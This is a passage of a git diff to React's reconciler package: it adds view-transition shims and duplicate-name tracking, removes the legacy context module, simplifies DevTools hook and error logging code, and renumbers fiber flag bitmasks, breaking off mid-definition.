diff --git a/packages/react-reconciler/src/ReactFiberConfigWithNoMutation.js b/packages/react-reconciler/src/ReactFiberConfigWithNoMutation.js
index 0581a6fe2720..f243805214d7 100644
--- a/packages/react-reconciler/src/ReactFiberConfigWithNoMutation.js
+++ b/packages/react-reconciler/src/ReactFiberConfigWithNoMutation.js
@@ -20,6 +20,8 @@ function shim(...args: any): empty {
 
 // Mutation (when unsupported)
 export const supportsMutation = false;
+export const cloneMutableInstance = shim;
+export const cloneMutableTextInstance = shim;
 export const appendChild = shim;
 export const appendChildToContainer = shim;
 export const commitTextUpdate = shim;
@@ -35,3 +37,5 @@ export const hideTextInstance = shim;
 export const unhideInstance = shim;
 export const unhideTextInstance = shim;
 export const clearContainer = shim;
+export type GestureTimeline = any;
+export const getCurrentGestureOffset = shim;
diff --git a/packages/react-reconciler/src/ReactFiberConfigWithNoSingletons.js b/packages/react-reconciler/src/ReactFiberConfigWithNoSingletons.js
index f592e9518591..92d2fadd39b6 100644
--- a/packages/react-reconciler/src/ReactFiberConfigWithNoSingletons.js
+++ b/packages/react-reconciler/src/ReactFiberConfigWithNoSingletons.js
@@ -21,7 +21,7 @@ function shim(...args: any): any {
 // Resources (when unsupported)
 export const supportsSingletons = false;
 export const resolveSingletonInstance = shim;
-export const clearSingleton = shim;
 export const acquireSingletonInstance = shim;
 export const releaseSingletonInstance = shim;
 export const isHostSingletonType = shim;
+export const isSingletonScope = shim;
diff --git a/packages/react-reconciler/src/ReactFiberConfigWithNoViewTransition.js b/packages/react-reconciler/src/ReactFiberConfigWithNoViewTransition.js
new file mode 100644
index 000000000000..cc8a82fa0edf
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberConfigWithNoViewTransition.js
@@ -0,0 +1,41 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Renderers that don't support view transitions
+// can re-export everything from this module.
+
+function shim(...args: any): empty {
+  throw new Error(
+    'The current renderer does not support view transitions. ' +
+      'This error is likely caused by a bug in React. ' +
+      'Please file an issue.',
+  );
+}
+
+// View Transitions (when unsupported)
+export const applyViewTransitionName = shim;
+export const restoreViewTransitionName = shim;
+export const cancelViewTransitionName = shim;
+export const cancelRootViewTransitionName = shim;
+export const restoreRootViewTransitionName = shim;
+export const cloneRootViewTransitionContainer = shim;
+export const removeRootViewTransitionClone = shim;
+export type InstanceMeasurement = any;
+export const measureInstance = shim;
+export const measureClonedInstance = shim;
+export const wasInstanceInViewport = shim;
+export const hasInstanceChanged = shim;
+export const hasInstanceAffectedParent = shim;
+export const startViewTransition = shim;
+export type RunningViewTransition = any;
+export const startGestureTransition = shim;
+export const stopViewTransition = shim;
+export const addViewTransitionFinishedListener = shim;
+export type ViewTransitionInstance = any;
+export const createViewTransitionInstance = shim;
diff --git a/packages/react-reconciler/src/ReactFiberContext.js b/packages/react-reconciler/src/ReactFiberContext.js
deleted file mode 100644
index 93e9eec922f7..000000000000
--- a/packages/react-reconciler/src/ReactFiberContext.js
+++ /dev/null
@@ -1,332 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {Fiber} from './ReactInternalTypes';
-import type {StackCursor} from './ReactFiberStack';
-
-import {isFiberMounted} from './ReactFiberTreeReflection';
-import {disableLegacyContext} from 'shared/ReactFeatureFlags';
-import {ClassComponent, HostRoot} from './ReactWorkTags';
-import getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';
-
-import {createCursor, push, pop} from './ReactFiberStack';
-
-let warnedAboutMissingGetChildContext;
-
-if (__DEV__) {
-  warnedAboutMissingGetChildContext = ({}: {[string]: boolean});
-}
-
-export const emptyContextObject: {} = {};
-if (__DEV__) {
-  Object.freeze(emptyContextObject);
-}
-
-// A cursor to the current merged context object on the stack.
-const contextStackCursor: StackCursor<Object> =
-  createCursor(emptyContextObject);
-// A cursor to a boolean indicating whether the context has changed.
-const didPerformWorkStackCursor: StackCursor<boolean> = createCursor(false);
-// Keep track of the previous context object that was on the stack.
-// We use this to get access to the parent context after we have already
-// pushed the next context provider, and now need to merge their contexts.
-let previousContext: Object = emptyContextObject;
-
-function getUnmaskedContext(
-  workInProgress: Fiber,
-  Component: Function,
-  didPushOwnContextIfProvider: boolean,
-): Object {
-  if (disableLegacyContext) {
-    return emptyContextObject;
-  } else {
-    if (didPushOwnContextIfProvider && isContextProvider(Component)) {
-      // If the fiber is a context provider itself, when we read its context
-      // we may have already pushed its own child context on the stack. A context
-      // provider should not "see" its own child context. Therefore we read the
-      // previous (parent) context instead for a context provider.
-      return previousContext;
-    }
-    return contextStackCursor.current;
-  }
-}
-
-function cacheContext(
-  workInProgress: Fiber,
-  unmaskedContext: Object,
-  maskedContext: Object,
-): void {
-  if (disableLegacyContext) {
-    return;
-  } else {
-    const instance = workInProgress.stateNode;
-    instance.__reactInternalMemoizedUnmaskedChildContext = unmaskedContext;
-    instance.__reactInternalMemoizedMaskedChildContext = maskedContext;
-  }
-}
-
-function getMaskedContext(
-  workInProgress: Fiber,
-  unmaskedContext: Object,
-): Object {
-  if (disableLegacyContext) {
-    return emptyContextObject;
-  } else {
-    const type = workInProgress.type;
-    const contextTypes = type.contextTypes;
-    if (!contextTypes) {
-      return emptyContextObject;
-    }
-
-    // Avoid recreating masked context unless unmasked context has changed.
-    // Failing to do this will result in unnecessary calls to componentWillReceiveProps.
-    // This may trigger infinite loops if componentWillReceiveProps calls setState.
-    const instance = workInProgress.stateNode;
-    if (
-      instance &&
-      instance.__reactInternalMemoizedUnmaskedChildContext === unmaskedContext
-    ) {
-      return instance.__reactInternalMemoizedMaskedChildContext;
-    }
-
-    const context: {[string]: $FlowFixMe} = {};
-    for (const key in contextTypes) {
-      context[key] = unmaskedContext[key];
-    }
-
-    // Cache unmasked context so we can avoid recreating masked context unless necessary.
-    // Context is created before the class component is instantiated so check for instance.
-    if (instance) {
-      cacheContext(workInProgress, unmaskedContext, context);
-    }
-
-    return context;
-  }
-}
-
-function hasContextChanged(): boolean {
-  if (disableLegacyContext) {
-    return false;
-  } else {
-    return didPerformWorkStackCursor.current;
-  }
-}
-
-function isContextProvider(type: Function): boolean {
-  if (disableLegacyContext) {
-    return false;
-  } else {
-    const childContextTypes = type.childContextTypes;
-    return childContextTypes !== null && childContextTypes !== undefined;
-  }
-}
-
-function popContext(fiber: Fiber): void {
-  if (disableLegacyContext) {
-    return;
-  } else {
-    pop(didPerformWorkStackCursor, fiber);
-    pop(contextStackCursor, fiber);
-  }
-}
-
-function popTopLevelContextObject(fiber: Fiber): void {
-  if (disableLegacyContext) {
-    return;
-  } else {
-    pop(didPerformWorkStackCursor, fiber);
-    pop(contextStackCursor, fiber);
-  }
-}
-
-function pushTopLevelContextObject(
-  fiber: Fiber,
-  context: Object,
-  didChange: boolean,
-): void {
-  if (disableLegacyContext) {
-    return;
-  } else {
-    if (contextStackCursor.current !== emptyContextObject) {
-      throw new Error(
-        'Unexpected context found on stack. ' +
-          'This error is likely caused by a bug in React. Please file an issue.',
-      );
-    }
-
-    push(contextStackCursor, context, fiber);
-    push(didPerformWorkStackCursor, didChange, fiber);
-  }
-}
-
-function processChildContext(
-  fiber: Fiber,
-  type: any,
-  parentContext: Object,
-): Object {
-  if (disableLegacyContext) {
-    return parentContext;
-  } else {
-    const instance = fiber.stateNode;
-    const childContextTypes = type.childContextTypes;
-
-    // TODO (bvaughn) Replace this behavior with an invariant() in the future.
-    // It has only been added in Fiber to match the (unintentional) behavior in Stack.
-    if (typeof instance.getChildContext !== 'function') {
-      if (__DEV__) {
-        const componentName = getComponentNameFromFiber(fiber) || 'Unknown';
-
-        if (!warnedAboutMissingGetChildContext[componentName]) {
-          warnedAboutMissingGetChildContext[componentName] = true;
-          console.error(
-            '%s.childContextTypes is specified but there is no getChildContext() method ' +
-              'on the instance. You can either define getChildContext() on %s or remove ' +
-              'childContextTypes from it.',
-            componentName,
-            componentName,
-          );
-        }
-      }
-      return parentContext;
-    }
-
-    const childContext = instance.getChildContext();
-    for (const contextKey in childContext) {
-      if (!(contextKey in childContextTypes)) {
-        throw new Error(
-          `${
-            getComponentNameFromFiber(fiber) || 'Unknown'
-          }.getChildContext(): key "${contextKey}" is not defined in childContextTypes.`,
-        );
-      }
-    }
-
-    return {...parentContext, ...childContext};
-  }
-}
-
-function pushContextProvider(workInProgress: Fiber): boolean {
-  if (disableLegacyContext) {
-    return false;
-  } else {
-    const instance = workInProgress.stateNode;
-    // We push the context as early as possible to ensure stack integrity.
-    // If the instance does not exist yet, we will push null at first,
-    // and replace it on the stack later when invalidating the context.
-    const memoizedMergedChildContext =
-      (instance && instance.__reactInternalMemoizedMergedChildContext) ||
-      emptyContextObject;
-
-    // Remember the parent context so we can merge with it later.
-    // Inherit the parent's did-perform-work value to avoid inadvertently blocking updates.
-    previousContext = contextStackCursor.current;
-    push(contextStackCursor, memoizedMergedChildContext, workInProgress);
-    push(
-      didPerformWorkStackCursor,
-      didPerformWorkStackCursor.current,
-      workInProgress,
-    );
-
-    return true;
-  }
-}
-
-function invalidateContextProvider(
-  workInProgress: Fiber,
-  type: any,
-  didChange: boolean,
-): void {
-  if (disableLegacyContext) {
-    return;
-  } else {
-    const instance = workInProgress.stateNode;
-
-    if (!instance) {
-      throw new Error(
-        'Expected to have an instance by this point. ' +
-          'This error is likely caused by a bug in React. Please file an issue.',
-      );
-    }
-
-    if (didChange) {
-      // Merge parent and own context.
-      // Skip this if we're not updating due to sCU.
-      // This avoids unnecessarily recomputing memoized values.
-      const mergedContext = processChildContext(
-        workInProgress,
-        type,
-        previousContext,
-      );
-      instance.__reactInternalMemoizedMergedChildContext = mergedContext;
-
-      // Replace the old (or empty) context with the new one.
-      // It is important to unwind the context in the reverse order.
-      pop(didPerformWorkStackCursor, workInProgress);
-      pop(contextStackCursor, workInProgress);
-      // Now push the new context and mark that it has changed.
-      push(contextStackCursor, mergedContext, workInProgress);
-      push(didPerformWorkStackCursor, didChange, workInProgress);
-    } else {
-      pop(didPerformWorkStackCursor, workInProgress);
-      push(didPerformWorkStackCursor, didChange, workInProgress);
-    }
-  }
-}
-
-function findCurrentUnmaskedContext(fiber: Fiber): Object {
-  if (disableLegacyContext) {
-    return emptyContextObject;
-  } else {
-    // Currently this is only used with renderSubtreeIntoContainer; not sure if it
-    // makes sense elsewhere
-    if (!isFiberMounted(fiber) || fiber.tag !== ClassComponent) {
-      throw new Error(
-        'Expected subtree parent to be a mounted class component. ' +
-          'This error is likely caused by a bug in React. Please file an issue.',
-      );
-    }
-
-    let node: Fiber = fiber;
-    do {
-      switch (node.tag) {
-        case HostRoot:
-          return node.stateNode.context;
-        case ClassComponent: {
-          const Component = node.type;
-          if (isContextProvider(Component)) {
-            return node.stateNode.__reactInternalMemoizedMergedChildContext;
-          }
-          break;
-        }
-      }
-      // $FlowFixMe[incompatible-type] we bail out when we get a null
-      node = node.return;
-    } while (node !== null);
-
-    throw new Error(
-      'Found unexpected detached subtree parent. ' +
-        'This error is likely caused by a bug in React. Please file an issue.',
-    );
-  }
-}
-
-export {
-  getUnmaskedContext,
-  cacheContext,
-  getMaskedContext,
-  hasContextChanged,
-  popContext,
-  popTopLevelContextObject,
-  pushTopLevelContextObject,
-  processChildContext,
-  isContextProvider,
-  pushContextProvider,
-  invalidateContextProvider,
-  findCurrentUnmaskedContext,
-};
diff --git a/packages/react-reconciler/src/ReactFiberDevToolsHook.js b/packages/react-reconciler/src/ReactFiberDevToolsHook.js
index dead0fda4691..975c97d1b655 100644
--- a/packages/react-reconciler/src/ReactFiberDevToolsHook.js
+++ b/packages/react-reconciler/src/ReactFiberDevToolsHook.js
@@ -17,10 +17,8 @@ import type {EventPriority} from './ReactEventPriorities';
 // React which this hook might be in.
 type DevToolsProfilingHooks = any;
 
-import {getLabelForLane, TotalLanes} from 'react-reconciler/src/ReactFiberLane';
 import {DidCapture} from './ReactFiberFlags';
 import {
-  consoleManagedByDevToolsDuringStrictMode,
   enableProfilerTimer,
   enableSchedulingProfiler,
 } from 'shared/ReactFeatureFlags';
@@ -38,8 +36,6 @@ import {
   log,
   unstable_setDisableYieldValue,
 } from './Scheduler';
-import {setSuppressWarning} from 'shared/consoleWithStackDev';
-import {disableLogs, reenableLogs} from 'shared/ConsolePatchingDev';
 
 declare const __REACT_DEVTOOLS_GLOBAL_HOOK__: Object | void;
 
@@ -75,17 +71,6 @@ export function injectInternals(internals: Object): boolean {
     return true;
   }
   try {
-    if (enableSchedulingProfiler) {
-      // Conditionally inject these hooks only if Timeline profiler is supported by this build.
-      // This gives DevTools a way to feature detect that isn't tied to version number
-      // (since profiling and timeline are controlled by different feature flags).
-      internals = {
-        ...internals,
-        getLaneLabelMap,
-        injectProfilingHooks,
-      };
-    }
-
     rendererID = hook.inject(internals);
 
     // We have successfully injected, so now it is safe to set up hooks.
@@ -93,7 +78,7 @@ export function injectInternals(internals: Object): boolean {
   } catch (err) {
     // Catch all errors because it is unsafe to throw during initialization.
     if (__DEV__) {
-      console.error('React instrumentation encountered an error: %s.', err);
+      console.error('React instrumentation encountered an error: %o.', err);
     }
   }
   if (hook.checkDCE) {
@@ -116,7 +101,7 @@ export function onScheduleRoot(root: FiberRoot, children: ReactNodeList) {
       } catch (err) {
         if (__DEV__ && !hasLoggedError) {
           hasLoggedError = true;
-          console.error('React instrumentation encountered an error: %s', err);
+          console.error('React instrumentation encountered an error: %o', err);
         }
       }
     }
@@ -159,7 +144,7 @@ export function onCommitRoot(root: FiberRoot, eventPriority: EventPriority) {
       if (__DEV__) {
         if (!hasLoggedError) {
           hasLoggedError = true;
-          console.error('React instrumentation encountered an error: %s', err);
+          console.error('React instrumentation encountered an error: %o', err);
         }
       }
     }
@@ -177,7 +162,7 @@ export function onPostCommitRoot(root: FiberRoot) {
       if (__DEV__) {
         if (!hasLoggedError) {
           hasLoggedError = true;
-          console.error('React instrumentation encountered an error: %s', err);
+          console.error('React instrumentation encountered an error: %o', err);
         }
       }
     }
@@ -192,7 +177,7 @@ export function onCommitUnmount(fiber: Fiber) {
       if (__DEV__) {
         if (!hasLoggedError) {
           hasLoggedError = true;
-          console.error('React instrumentation encountered an error: %s', err);
+          console.error('React instrumentation encountered an error: %o', err);
         }
       }
     }
@@ -200,62 +185,35 @@ export function onCommitUnmount(fiber: Fiber) {
 }
 
 export function setIsStrictModeForDevtools(newIsStrictMode: boolean) {
-  if (consoleManagedByDevToolsDuringStrictMode) {
-    if (typeof log === 'function') {
-      // We're in a test because Scheduler.log only exists
-      // in SchedulerMock. To reduce the noise in strict mode tests,
-      // suppress warnings and disable scheduler yielding during the double render
-      unstable_setDisableYieldValue(newIsStrictMode);
-      setSuppressWarning(newIsStrictMode);
-    }
+  if (typeof log === 'function') {
+    // We're in a test because Scheduler.log only exists
+    // in SchedulerMock. To reduce the noise in strict mode tests,
+    // suppress warnings and disable scheduler yielding during the double render
+    unstable_setDisableYieldValue(newIsStrictMode);
+  }
 
-    if (injectedHook && typeof injectedHook.setStrictMode === 'function') {
-      try {
-        injectedHook.setStrictMode(rendererID, newIsStrictMode);
-      } catch (err) {
-        if (__DEV__) {
-          if (!hasLoggedError) {
-            hasLoggedError = true;
-            console.error(
-              'React instrumentation encountered an error: %s',
-              err,
-            );
-          }
+  if (injectedHook && typeof injectedHook.setStrictMode === 'function') {
+    try {
+      injectedHook.setStrictMode(rendererID, newIsStrictMode);
+    } catch (err) {
+      if (__DEV__) {
+        if (!hasLoggedError) {
+          hasLoggedError = true;
+          console.error('React instrumentation encountered an error: %o', err);
         }
       }
     }
-  } else {
-    if (newIsStrictMode) {
-      disableLogs();
-    } else {
-      reenableLogs();
-    }
   }
 }
 
 // Profiler API hooks
 
-function injectProfilingHooks(profilingHooks: DevToolsProfilingHooks): void {
+export function injectProfilingHooks(
+  profilingHooks: DevToolsProfilingHooks,
+): void {
   injectedProfilingHooks = profilingHooks;
 }
 
-function getLaneLabelMap(): Map<Lane, string> | null {
-  if (enableSchedulingProfiler) {
-    const map: Map<Lane, string> = new Map();
-
-    let lane = 1;
-    for (let index = 0; index < TotalLanes; index++) {
-      const label = ((getLabelForLane(lane): any): string);
-      map.set(lane, label);
-      lane *= 2;
-    }
-
-    return map;
-  } else {
-    return null;
-  }
-}
-
 export function markCommitStarted(lanes: Lanes): void {
   if (enableSchedulingProfiler) {
     if (
diff --git a/packages/react-reconciler/src/ReactFiberDuplicateViewTransitions.js b/packages/react-reconciler/src/ReactFiberDuplicateViewTransitions.js
new file mode 100644
index 000000000000..aa8a6eceed62
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberDuplicateViewTransitions.js
@@ -0,0 +1,71 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Fiber} from './ReactInternalTypes';
+import type {ViewTransitionProps} from 'shared/ReactTypes';
+import {runWithFiberInDEV} from './ReactCurrentFiber';
+
+// Use in DEV to track mounted named ViewTransitions. This is used to warn for
+// duplicate names. This should technically be tracked per Document because you could
+// have two different documents that can have separate namespaces, but to keep things
+// simple we just use a global Map. Technically it should also include any manually
+// assigned view-transition-name outside React too.
+const mountedNamedViewTransitions: Map<string, Fiber> = __DEV__
+  ? new Map()
+  : (null: any);
+const didWarnAboutName: {[string]: boolean} = __DEV__ ? {} : (null: any);
+
+export function trackNamedViewTransition(fiber: Fiber): void {
+  if (__DEV__) {
+    const name = (fiber.memoizedProps: ViewTransitionProps).name;
+    if (name != null && name !== 'auto') {
+      const existing = mountedNamedViewTransitions.get(name);
+      if (existing !== undefined) {
+        if (existing !== fiber && existing !== fiber.alternate) {
+          if (!didWarnAboutName[name]) {
+            didWarnAboutName[name] = true;
+            const stringifiedName = JSON.stringify(name);
+            runWithFiberInDEV(fiber, () => {
+              console.error(
+                'There are two <ViewTransition name=%s> components with the same name mounted ' +
+                  'at the same time. This is not supported and will cause View Transitions ' +
+                  'to error. Try to use a more unique name e.g. by using a namespace prefix ' +
+                  'and adding the id of an item to the name.',
+                stringifiedName,
+              );
+            });
+            runWithFiberInDEV(existing, () => {
+              console.error(
+                'The existing <ViewTransition name=%s> duplicate has this stack trace.',
+                stringifiedName,
+              );
+            });
+          }
+        }
+      } else {
+        mountedNamedViewTransitions.set(name, fiber);
+      }
+    }
+  }
+}
+
+export function untrackNamedViewTransition(fiber: Fiber): void {
+  if (__DEV__) {
+    const name = (fiber.memoizedProps: ViewTransitionProps).name;
+    if (name != null && name !== 'auto') {
+      const existing = mountedNamedViewTransitions.get(name);
+      if (
+        existing !== undefined &&
+        (existing === fiber || existing === fiber.alternate)
+      ) {
+        mountedNamedViewTransitions.delete(name);
+      }
+    }
+  }
+}
diff --git a/packages/react-reconciler/src/ReactFiberErrorLogger.js b/packages/react-reconciler/src/ReactFiberErrorLogger.js
index a948e5c79b69..e6111d8be74a 100644
--- a/packages/react-reconciler/src/ReactFiberErrorLogger.js
+++ b/packages/react-reconciler/src/ReactFiberErrorLogger.js
@@ -18,7 +18,7 @@ import reportGlobalError from 'shared/reportGlobalError';
 
 import ReactSharedInternals from 'shared/ReactSharedInternals';
 
-import {enableOwnerStacks} from 'shared/ReactFeatureFlags';
+import {bindToConsole} from './ReactFiberConfig';
 
 // Side-channel since I'm not sure we want to make this part of the public API
 let componentName: null | string = null;
@@ -44,27 +44,15 @@ export function defaultOnUncaughtError(
       'Consider adding an error boundary to your tree to customize error handling behavior.\n' +
       'Visit https://react.dev/link/error-boundaries to learn more about error boundaries.';
 
-    if (enableOwnerStacks) {
+    try {
       console.warn(
         '%s\n\n%s\n',
         componentNameMessage,
         errorBoundaryMessage,
         // We let our console.error wrapper add the component stack to the end.
       );
-    } else {
-      // The current Fiber is disconnected at this point which means that console printing
-      // cannot add a component stack since it terminates at the deletion node. This is not
-      // a problem for owner stacks which are not disconnected but for the parent component
-      // stacks we need to use the snapshot we've previously extracted.
-      const componentStack =
-        errorInfo.componentStack != null ? errorInfo.componentStack : '';
-      // Don't transform to our wrapper
-      console['warn'](
-        '%s\n\n%s\n%s',
-        componentNameMessage,
-        errorBoundaryMessage,
-        componentStack,
-      );
+    } finally {
+      // ignore
     }
   }
 }
@@ -73,7 +61,7 @@ export function defaultOnCaughtError(
   error: mixed,
   errorInfo: {
     +componentStack?: ?string,
-    +errorBoundary?: ?React$Component<any, any>,
+    +errorBoundary?: ?component(...props: any),
   },
 ): void {
   // Overriding this can silence these warnings e.g. for tests.
@@ -93,29 +81,36 @@ export function defaultOnCaughtError(
         errorBoundaryName || 'Anonymous'
       }.`;
 
-    if (enableOwnerStacks) {
-      console.error(
-        '%o\n\n%s\n\n%s\n',
-        error,
-        componentNameMessage,
-        recreateMessage,
-        // We let our consoleWithStackDev wrapper add the component stack to the end.
-      );
-    } else {
-      // The current Fiber is disconnected at this point which means that console printing
-      // cannot add a component stack since it terminates at the deletion node. This is not
-      // a problem for owner stacks which are not disconnected but for the parent component
-      // stacks we need to use the snapshot we've previously extracted.
-      const componentStack =
-        errorInfo.componentStack != null ? errorInfo.componentStack : '';
-      // Don't transform to our wrapper
-      console['error'](
-        '%o\n\n%s\n\n%s\n%s',
-        error,
-        componentNameMessage,
-        recreateMessage,
-        componentStack,
-      );
+    try {
+      if (
+        typeof error === 'object' &&
+        error !== null &&
+        typeof error.environmentName === 'string'
+      ) {
+        // This was a Server error. We print the environment name in a badge just like we do with
+        // replays of console logs to indicate that the source of this throw as actually the Server.
+        bindToConsole(
+          'error',
+          [
+            '%o\n\n%s\n\n%s\n',
+            error,
+            componentNameMessage,
+            recreateMessage,
+            // We let DevTools or console.createTask add the component stack to the end.
+          ],
+          error.environmentName,
+        )();
+      } else {
+        console.error(
+          '%o\n\n%s\n\n%s\n',
+          error,
+          componentNameMessage,
+          recreateMessage,
+          // We let our DevTools or console.createTask add the component stack to the end.
+        );
+      }
+    } finally {
+      // ignore
     }
   } else {
     // In production, we print the error directly.
diff --git a/packages/react-reconciler/src/ReactFiberFlags.js b/packages/react-reconciler/src/ReactFiberFlags.js
index 49aebe2f9b11..9f85897fb05c 100644
--- a/packages/react-reconciler/src/ReactFiberFlags.js
+++ b/packages/react-reconciler/src/ReactFiberFlags.js
@@ -7,87 +7,111 @@
  * @flow
  */
 
-import {enableCreateEventHandleAPI} from 'shared/ReactFeatureFlags';
+import {
+  enableCreateEventHandleAPI,
+  enableEffectEventMutationPhase,
+} from 'shared/ReactFeatureFlags';
 
 export type Flags = number;
 
 // Don't change these values. They're used by React Dev Tools.
-export const NoFlags = /*                      */ 0b0000000000000000000000000000;
-export const PerformedWork = /*                */ 0b0000000000000000000000000001;
-export const Placement = /*                    */ 0b0000000000000000000000000010;
-export const DidCapture = /*                   */ 0b0000000000000000000010000000;
-export const Hydrating = /*                    */ 0b0000000000000001000000000000;
+export const NoFlags = /*                      */ 0b0000000000000000000000000000000;
+export const PerformedWork = /*                */ 0b0000000000000000000000000000001;
+export const Placement = /*                    */ 0b0000000000000000000000000000010;
+export const DidCapture = /*                   */ 0b0000000000000000000000010000000;
+export const Hydrating = /*                    */ 0b0000000000000000001000000000000;
 
 // You can change the rest (and add more).
-export const Update = /*                       */ 0b0000000000000000000000000100;
-/* Skipped value:                                 0b0000000000000000000000001000; */
+export const Update = /*                       */ 0b0000000000000000000000000000100;
+export const Cloned = /*                       */ 0b0000000000000000000000000001000;
 
-export const ChildDeletion = /*                */ 0b0000000000000000000000010000;
-export const ContentReset = /*                 */ 0b0000000000000000000000100000;
-export const Callback = /*                     */ 0b0000000000000000000001000000;
-/* Used by DidCapture:                            0b0000000000000000000010000000; */
+export const ChildDeletion = /*                */ 0b0000000000000000000000000010000;
+export const ContentReset = /*                 */ 0b0000000000000000000000000100000;
+export const Callback = /*                     */ 0b0000000000000000000000001000000;
+/* Used by DidCapture:                            0b0000000000000000000000010000000; */
 
-export const ForceClientRender = /*            */ 0b0000000000000000000100000000;
-export const Ref = /*                          */ 0b0000000000000000001000000000;
-export const Snapshot = /*                     */ 0b0000000000000000010000000000;
-export const Passive = /*                      */ 0b0000000000000000100000000000;
-/* Used by Hydrating:                             0b0000000000000001000000000000; */
+export const ForceClientRender = /*            */ 0b0000000000000000000000100000000;
+export const Ref = /*                          */ 0b0000000000000000000001000000000;
+export const Snapshot = /*                     */ 0b0000000000000000000010000000000;
+export const Passive = /*                      */ 0b0000000000000000000100000000000;
+/* Used by Hydrating:                             0b0000000000000000001000000000000; */
 
-export const Visibility = /*                   */ 0b0000000000000010000000000000;
-export const StoreConsistency = /*             */ 0b0000000000000100000000000000;
+export const Visibility = /*                   */ 0b0000000000000000010000000000000;
+export const StoreConsistency = /*             */ 0b0000000000000000100000000000000;
 
 // It's OK to reuse these bits because these flags are mutually exclusive for
 // different fiber types. We should really be doing this for as many flags as
 // possible, because we're about to run out of bits.
+export const Hydrate = Callback;
 export const ScheduleRetry = StoreConsistency;
 export const ShouldSuspendCommit = Visibility;
+export const ViewTransitionNamedMount = ShouldSuspendCommit;
 export const DidDefer = ContentReset;
 export const FormReset = Snapshot;
+export const AffectedParentLayout = ContentReset;
 
 export const LifecycleEffectMask =
   Passive | Update | Callback | Ref | Snapshot | StoreConsistency;
 
 // Union of all commit flags (flags with the lifetime of a particular commit)
-export const HostEffectMask = /*               */ 0b0000000000000111111111111111;
+export const HostEffectMask = /*               */ 0b0000000000000000111111111111111;
 
 // These are not really side effects, but we still reuse this field.
-export const Incomplete = /*                   */ 0b0000000000001000000000000000;
-export const ShouldCapture = /*                */ 0b0000000000010000000000000000;
-export const ForceUpdateForLegacySuspense = /* */ 0b0000000000100000000000000000;
-export const DidPropagateContext = /*          */ 0b0000000001000000000000000000;
-export const NeedsPropagation = /*             */ 0b0000000010000000000000000000;
-export const Forked = /*                       */ 0b0000000100000000000000000000;
+export const Incomplete = /*                   */ 0b0000000000000001000000000000000;
+export const ShouldCapture = /*                */ 0b0000000000000010000000000000000;
+export const ForceUpdateForLegacySuspense = /* */ 0b0000000000000100000000000000000;
+export const DidPropagateContext = /*          */ 0b0000000000001000000000000000000;
+export const NeedsPropagation = /*             */ 0b0000000000010000000000000000000;
 
 // Static tags describe aspects of a fiber that are not specific to a render,
 // e.g. a fiber uses a passive effect (even if there are no updates on this particular render).
 // This enables us to defer more work in the unmount case,
 // since we can defer traversing the tree during layout to look for Passive effects,
 // and instead rely on the static flag as a signal that there may be cleanup work.
-export const RefStatic = /*                    */ 0b0000001000000000000000000000;
-export const LayoutStatic = /*                 */ 0b0000010000000000000000000000;
-export const PassiveStatic = /*                */ 0b0000100000000000000000000000;
-export const MaySuspendCommit = /*             */ 0b0001000000000000000000000000;
+export const Forked = /*                       */ 0b0000000000100000000000000000000;
+export const SnapshotStatic = /*               */ 0b0000000001000000000000000000000;
+export const LayoutStatic = /*                 */ 0b0000000010000000000000000000000;
+export const RefStatic = LayoutStatic;
+export const PassiveStatic = /*                */ 0b0000000100000000000000000000000;
+export const MaySuspendCommit = /*             */ 0b0000001000000000000000000000000;
+// ViewTransitionNamedStatic tracks explicitly name ViewTransition components deeply
+// that might need to be visited during clean up. This is similar to SnapshotStatic
+// if there was any other use for it. It also needs to run in the same phase as
+// MaySuspendCommit tracking.
+export const ViewTransitionNamedStatic =
+  /*    */ SnapshotStatic | MaySuspendCommit;
+// ViewTransitionStatic tracks whether there are an ViewTransition components from
+// the nearest HostComponent down. It resets at every HostComponent level.
+export const ViewTransitionStatic = /*         */ 0b0000010000000000000000000000000;
+// Tracks whether a HostPortal is present in the tree.
+export const PortalStatic = /*                 */ 0b0000100000000000000000000000000;
 
 // Flag used to identify newly inserted fibers. It isn't reset after commit unlike `Placement`.
-export const PlacementDEV = /*                 */ 0b0010000000000000000000000000;
-export const MountLayoutDev = /*               */ 0b0100000000000000000000000000;
-export const MountPassiveDev = /*              */ 0b1000000000000000000000000000;
+export const PlacementDEV = /*                 */ 0b0001000000000000000000000000000;
+export const MountLayoutDev = /*               */ 0b0010000000000000000000000000000;
+export const MountPassiveDev = /*              */ 0b0100000000000000000000000000000;
 
 // Groups of flags that are used in the commit phase to skip over trees that
 // don't contain effects, by checking subtreeFlags.
 
 export const BeforeMutationMask: number =
-  // TODO: Remove Update flag from before mutation phase by re-landing Visibility
-  // flag logic (see #20043)
-  Update |
   Snapshot |
   (enableCreateEventHandleAPI
     ? // createEventHandle needs to visit deleted and hidden trees to
       // fire beforeblur
       // TODO: Only need to visit Deletions during BeforeMutation phase if an
       // element is focused.
-      ChildDeletion | Visibility
-    : 0);
+      Update | ChildDeletion | Visibility
+    : // useEffectEvent uses the snapshot phase,
+      // but we're moving it to the mutation phase.
+      enableEffectEventMutationPhase
+      ? 0
+      : Update);
+
+// For View Transition support we use the snapshot phase to scan the tree for potentially
+// affected ViewTransition components.
+export const BeforeAndAfterMutationTransitionMask: number =
+  Snapshot | Update | Placement | ChildDeletion | Visibility | ContentReset;
 
 export const MutationMask =
   Placement |
@@ -103,8 +127,19 @@ export const LayoutMask = Update | Callback | Ref | Visibility;
 // TODO: Split into PassiveMountMask and PassiveUnmountMask
 export const PassiveMask = Passive | Visibility | ChildDeletion;
 
+// For View Transitions we need to visit anything we visited in the snapshot phase to
+// restore the view-transition-name after committing the transition.
+export const PassiveTransitionMask: number = PassiveMask | Update | Placement;
+
 // Union of tags that don't get reset on clones.
 // This allows certain concepts to persist without recalculating them,
 // e.g. whether a subtree contains passive effects or portals.
 export const StaticMask =
-  LayoutStatic | PassiveStatic | RefStatic | MaySuspendCommit;
+  LayoutStatic |
